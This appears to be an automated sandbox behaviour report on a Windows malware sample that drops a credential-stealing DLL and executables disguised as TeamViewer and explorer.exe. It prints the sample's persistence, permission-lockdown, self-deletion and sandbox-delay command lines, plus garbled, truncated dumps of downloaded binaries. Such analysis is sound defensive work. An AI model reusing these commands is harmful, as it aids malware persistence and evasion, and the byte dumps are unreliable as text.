NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d52000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d53000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d54000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d55000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d57000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d59000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00d5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04880000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04881000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04882000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04883000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04884000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04885000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04886000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04887000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04888000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04889000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0488a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0488b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 12, 2022, 11:14 a.m.	process_identifier: 2648 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0488c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

gntuud.exe tried to sleep 161 seconds, actually delayed analysis time by 161 seconds

Creates executable files on the filesystem (5 events)

file	C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe
file	C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe
file	C:\Users\test22\AppData\Roaming\1000028000\explorer.exe
file	C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe

Creates a service (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateServiceA Dec. 12, 2022, 11:13 a.m.	service_start_name: start_type: 2 password: display_name: Ghijkl Nopqrstu Wxyabcde Ghij filepath: C:\Windows\rerzsi.exe service_name: Ghijkl Nopqrstu Wxy filepath_r: C:\Windows\rerzsi.exe desired_access: 983551 service_handle: 0x005444f8 error_control: 1 service_type: 272 service_manager_handle: 0x00544598	1	5522680	0

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\4ca685c424\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (8 events)

cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	powershell -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA==
cmdline	C:\Windows\System32\cmd.exe /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F
cmdline	"C:\Windows\system32\cmd.exe" /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA==
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F

Drops a binary and executes it (4 events)

file	C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe
file	C:\Users\test22\AppData\Roaming\1000028000\explorer.exe
file	C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe
file	C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe

Drops an executable to the user AppData folder (4 events)

file	C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe
file	C:\Users\test22\AppData\Roaming\1000028000\explorer.exe
file	C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe
file	C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll

A process created a hidden window (12 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN gntuud.exe /TR "C:\Users\test22\AppData\Local\Temp\4ca685c424\gntuud.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "gntuud.exe" /P "test22:N"&&CACLS "gntuud.exe" /P "test22:R" /E&&echo Y\|CACLS "..\4ca685c424" /P "test22:N"&&CACLS "..\4ca685c424" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000025001\TeamViewerSetupx64.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe parameters: filepath: C:\Users\test22\AppData\Roaming\1000028000\explorer.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe parameters: filepath: C:\Users\test22\AppData\Roaming\1000030000\TeamViewer_Desktop.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000043001\LanguageTool.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\96facdca63b65f\cred64.dll, Main filepath: rundll32.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:13 a.m.	show_type: 0 filepath_r: C:\Windows\system32\cmd.exe parameters: /c del C:\Users\test22\AppData\Roaming\100002~1\explorer.exe > nul filepath: C:\Windows\System32\cmd.exe	1	1
ShellExecuteExW Dec. 12, 2022, 11:14 a.m.	show_type: 0 filepath_r: powershell parameters: -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAANgAwAA== filepath: powershell	1	1

An executable file was downloaded by the process gntuud.exe (5 events)

Time & API	Arguments	Status	Return
InternetReadFile Dec. 12, 2022, 11:13 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $_ùä«øøøÈêùøÈêùøÈêùøyàù0øyàùøyàùøÈêùøøxøáùøáuøøøøáùøRichøPEdï7cð"â@O@@`ÁäPÀ@a`8F0`® T @ 0.textáâ `.rdata¦! "æ@@.dataX&0@À.pdata8F`H@@_RDATA\°\@@.rsrc@aÀb^@@.reloc0 À@BH\|$HÑHù3À¹0óªH\|$HÂÃÌÌÌH\$WHìHÔH3ÄH$p" 3ÀH\|$( $ ¹0IÙ)D$` HÇD$ óª·& f$HD$`)L$pHèò )$ÇD$(0ÇD$<ò$fxH@uõ ' LL$ (Ó L$ ( Õ HT$((Ö H( Û @ òß H0ò@@HH· Ø fHLHL$`ÿíñHL$ HH$pH3Ìè%>H$HÄ_ÃÌÌÌÌH\$Hl$VWAVHì HH3ÄH$Héº3É»"Àÿ\|ñÅ ð3À Ê E3öH\|$H¹0)$¾ Lt$@óª·È f$¸H$)$Hèò ÇD$H0ÇD$\)$ ò$°fD9pH@uõ Ç LL$@(s LÄ ( u HT$H(v H( { @ ò H0ò@@HH· x fHLH$ÿðH\|$@Àu2HÿtBHHR Dt$(E3ÉLÅDt$ HÏH@HÿuðÀAIÞHÿtHHÏHBÿZðöuÿ ðÃH$H3Ìèn<L$ I[(Ik0IãA^_^ÃÌÌÌÌÌÌH\$Ht$H\|$UATAUAVAWH¬$@úÿÿHìÀHºH3ÄH°H á ÿãìHÈH± ÿ»ìHðHÀH ¸ ÿºìHÈHÀ ÿìLøHÀqH ÿìHÈH¯ ÿiìLàHÀHH f ÿhìHÈH ÿ@ìLðHÀÿ>ì3Ò¹8DÀÿVìHØHøÿü3ÿLD$PHÈH\|$ 3ÒHÆDO0ÿïDOH\|$ LD$0HËHT$XÿìÀºHT$0DOHÂH\|$ LD$HHËÿïëÀºHMÿëL ºHMèsI¹èíILEºHÈLèèaHHL$0IÇHI8ÿcîHL$0IÕIÆHI HÁ`ÿJîHD$0IÕHH IÆHÁpÿ1îA¸H 3ÉÿTëHD$0HHHD$HHqHHHL$@A¹H\|$ LD$8HËHT$@ÿëÀµHT$8LHËH\|$ D·JJHRPÿçêÀHH è¬EÀtHD$8HHL$@H;ÎuëHL$8IÕHÁHIÆÿoíHL$8IÕHÁXIÆÿZíHL$0IÄHI8ÿHíHËÿ7êHHMè?EÀ@ÇÇë3ÀH°H3ÌèD9L$ÀI[0Is8I{@IãA_A^A]A\]ÃÌÌÌH\$WHì 3Û<ÿÃËÿöé;ß\|òH\$0HÄ _ÃÌÌÌÌÌÌÌHT$L$¸ìè}ÌH+àHkH3ÄH$ì¹0uÿé¹èÿÿÿ¹4ÿpéD$4\|$4uÿéøt3Àé¿4è6üÿÿÆ$"Æ$"'Æ$"7Æ$"ÑÆ$"øÆ$"%Æ$"OÆ$"yÆ$"§Æ$ "ÍÆ$ "÷Æ$"!Æ$"´Æ$ "Æ$"Æ$"ÉÆ$"KÆ$"Æ$"GÆ$"qÆ$"Æ$"ÅÆ$"ïÆ$"Æ$"Æ$"mÆ$"Æ$"ÁÆ$"ëÆ$"Æ$"?Æ$"iÆ$ "Æ$!"½Æ$""çÆ$#"Æ$$";Æ$%"eÆ$&"Æ$'"¹Æ$("ãÆ$)" Æ$"7Æ$+"aÆ$,"Æ$-"µÆ$."ßÆ$/" Æ$0"3Æ$1"]Æ$2"Æ$3"±Æ$4"ÛÆ$5"Æ$6"/Æ$7"YÆ$8"Æ$9"Æ$:"×Æ$;"Æ$<"«Æ$="UÆ$>"Æ$?"©Æ$@"ÝÆ$A"âÆ$B"Æ$C"_Æ$D"{Æ$E"Æ$F"ÆÆ$G"4Æ$H"Æ$I"õÆ$J"vÆ$K"íÆ$L"Æ$M"ÔÆ$N"KÆ$O"!Æ$P"Æ$Q"îÆ$R"çÆ$S"Æ$T"iÆ$U"*Æ$V"Æ$W"ëÆ$X"¢Æ$Y"Æ$Z"7Æ$[""Æ$\" Æ$]"ûÆ$^"ÑÆ$_"Æ$`"gÆ$a"Æ$b"Æ$c"ôÆ$d"Æ$e"Æ$f"zÆ$g"WÆ$h"CÆ$i"äÆ$j"ÙÆ$k"ÁÆ$l"OÆ$m"zÆ$n"Æ$o"©Æ$p"ÞÆ$q"²Æ$r"cÆ$s"TÆ$t"uÆ$u"Æ$v"¢Æ$w"ÓÆ$x"'Æ$y"-Æ$z"WÆ${"Æ$\|"«Æ$}"ÕÆ$~"ÿÆ$")Æ$"Æ$"8Æ$"§Æ$"ÑÆ$"Æ$"£Æ$"MÆ$"yÆ$"Æ$"yÆ$"ÂÆ$"ËÆ$"KÆ$"uÆ$"Æ$"ÉÆ$"óÆ$"Æ$"GÆ$"qÆ$"kÆ$"ÅÆ$"ÁÆ$"9Æ$"HÆ$"oÆ$"§Æ$"ÁÆ$"ëÆ$"ÑÆ$"?Æ$"iÆ$ "Æ$¡"¹Æ$¢" request_handle: 0x00cc000c	1	1
InternetReadFile Dec. 12, 2022, 11:13 a.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELª¼càG82`@ à \ª`Æ.bss°ÀÀ.dataÀ@À.text7`8 `.idata Ò@À.itexte°Ô à.edataÕ6À8Ø à.rsrc\@@æo¨OäsTâytÚe g®ä]]Î§Øtx&iÖb¿Ø½¢x&iÖb¿Ø½¢hæôéuÛjÌµÄºÊQ¥Å¢¦±èKþÿb3®Îx-üdÇO÷¾+U;áµ(¥¬Ò#ífk£xGV»¢¡ÛzaÊ½, nm +ó\Wñß¥«./À`«.Ówæ];ÕÊø$µlûí¿µ ¸åq_½H83¿ºÀSCIcàI¬=Kðü!=7M´ÖO$ØÁ¥ ·Á)Mu=Ã,-kùOÑ¹0ÃÅ(wõäLREª")1ÀÓ]C¦Ó¦±ã ñv¹B®°ç)n½¶ê²2rUWßînÐj7ÕôÅØV Ì\|@ÎZZ9uâtrîÊÐÒÐqþÂýÎ\|qkåÑÙÚ.fWt^\|áËÏPWyév34°¦µ2ûypÚbþ-Vx&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢28½>K"ÎòL(§Vù)K Y8oÁâ×jºO,Ø± k3ñ±¦s(P³Û1é{y7¹À%T½_µ/$°HÜmc¾ûÂp6øþGãyó¥=ä å3\|îÊÌ÷âDµÌôfüÉª]{irx&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢ë(Ñ(ÃÝsJXçÜA®M QLGî¾W6øïð¬ÌLôîL´Gü:«Ü+±ÂìdCûÚ7ÛÂ;RcÐhpÇ(#3W¾Cº¬`Ì£ Iîi®®òbJÖLv]¤±4=6±§å#ÑP¢OSåBlOFá¥3o&K±fÑ¿ªe ú¾¤~VCNÕPáí±UcâJx6{ÎD÷²¢eße®HÇz}jS¢³á°E,E7ñà.ÀM¹ÔM½ÿÚ@xåÁh¹ kj¶ÑÎ1·¡§éæÝÁzhv¿·V&Ý/¬£YSI£ã`3Ô»ÊWxØ&¤éÛ3owºÌÂÂS¬ECÙÃøf.á«¤¼ï[0hzÎþ<®BL6À³ìQsÉþ=Qz ÔøÃÄ¶a®gÂº-saÃ¯ÙÊ°mxôf#ì&õ¥m0åRß£#@I/çe²>æuc9{9 ÅÅþ[5ÊÝ i&l1F3æA©2äÉrACÒ ]R@×i@hB__ºä ~âWL¶ÜjlÙ¦Öüèÿ¤È¤p§áÑäy2KçcÞ4ñ<þáK?f·R¬© p¸hÜ£9r ÷ ÅºÙýN;ÒK\.YÅN÷Ïç´ÅS1Çðéô#rÞ ZÑ\ U\ä62y/¯þtuúÙV´wÛbñ±¬Ó<ðÅ{!×à· ç´Ï6>÷âµ¶ùþËwð5k°a]@Öáãêúå(8lºÁ@¢òjaZVæÞ½£ðþÌÎ¦79Es{/ï>õ¡ê<ùyÖý¯ë#6ÈÃ§£³ðÉñõ³¾b9ÁÕÁkºÇ÷ÁÍÉ×TÚÝhQ×¼åÐÌr ×»hâ?¯«Ç~ø¯ $üXë[ôjW,ÿÚ¹RSd"ØÍ¯ýÆmj!à[rÊ'Xq.¸¶-.¬ÔO+qµ²ãÚÔïDù!Ä2þwNºl\|å-2Ïd8ÉÁ<b6çËÈ =!tìû²E[$"ïkM+8=(A)²ÞÍÕ·öt!y7HÁ/Y¡¯t ÃÂ¿/tÁb^ÏtPOzd+àn~CÞÿ¤e¯£îþS>>lNÂM²ÿÆqÓÆþ,¡}ÝBg¼£¼@(ö¿}´íúî'òÙi",»lðqe{£®u"Õg!¾#í.GÖß}ß¹ëêeÉ´ß{ Oì2¥&ZCVúþ èÁÌìûÔS bîÆC`¡X¾IF-]Và§rÝ'£ÙôÌ£áôWqØµ¤/GU0:+Ï^Ãû0?èöõÿÃEof®DÈIÁj¶©ßûÑÈäÌÈ j2su'µÙ£ áùpâú·y[m9ðspx&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢ÂWÀooË'O2g½DWå5²Ãd÷`ÄWºx&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢t×ÕG¦v½%cÙdØ#2 wÈk1â3ÆT¡Îÿ£28HéøQ'¨7MÀVÛºx&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢t×ÕG¦v½%cÙdØ#2¯Ó¯àdi·¹ &b#xðGº5Í½§YRðòå ÈßT/Þú×6±ÍÓ;x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢x&iÖb¿Ø½¢f¹lòJ¿_:Êì«~¯& dè¬FñRþàJj½¡¾5$¶b£>d&WñÕÿvjæn`à_ ¤Ù²´C)ûÀùâm`3ÍÞáØ±>w^_½»xe+¨OÃåKùeQÕýÎ0» request_handle: 0x00cc000c	1	1
InternetReadFile Dec. 12, 2022, 11:14 a.m.	buffer: MZÿÿ@@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL4càG8Lf0@@z!pÐdfÄ.bss0ÀÀ.dataà@â@À.text708æ `.idatap@À.itexte à.edataÕ68$ à.rsrcdfÐh\@@.äôrdárß«+òÆâDG§lò#YZ.&¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷ÊtXÕÌZ"Û{ZDOª-nÚ}eRÆQô3JªO·ß?¸o+Ä¤mÒ}gûbÙùÅÀ£é¼ËèÕêCÖ]Cþï@é!¶/öð¼üÈGx1%Q¨ÓÐá° Ä¤_1ßçÄÓkÛ;GFËv )½óì0ÄoùÖKÆICÊK2Dq a)î;íÒÊv Ì¯Ì-ïÔS/5m÷êÕ £Óy?°ÊÕUJÀÌ§zãp¤LçácæI¼!§¦7Êq¦è£GÉ[jí;êRã¦&DÐy'ÃZj Êo2lëîÔ²ÅY'Ú(Ù®ñ¶.PDäµ=~®QéÉb®Ï&B3Í#{:ì\d¨Ö¦00/9&Î£¦U6¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Êè@Vp1¯Dµ°dÌ/g#¹üGYÖ/o¼¼fÉ³0Gs)ôU6ÔQ½æDøól).PòÎkÉkn3)¯¦¿&ùaÓ²²&³³ßË¡ÿ²¸ú§\|a~FNIm©( ÚÂðÍø5ñèNuyâ&_úÙA3§9 ïÄwü·iEòÐy¦z<U¥j)ÿ®nÉè\|5¹"\µÔ0Ìã~@þÍJäÐ?×I=Ø]%¿Vj`sAÍêbå¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷Ê¢Rqp+Hãm×Ùæ÷ÊßM×N0Ô83Ó,ê4ïæä®ÈTx>·@p1pÖÕ²®7©ÀmÙÝ×Ëh±Ù¡¥ ûµÄQ:úõî³ÝWÇÆKñ¨ÞFæ væÕ!ÛÁ/÷ ¿¨ú<ãÚúüûCóoPöe½f©Y"Ø7{"øc ¸±Ì$Ø3 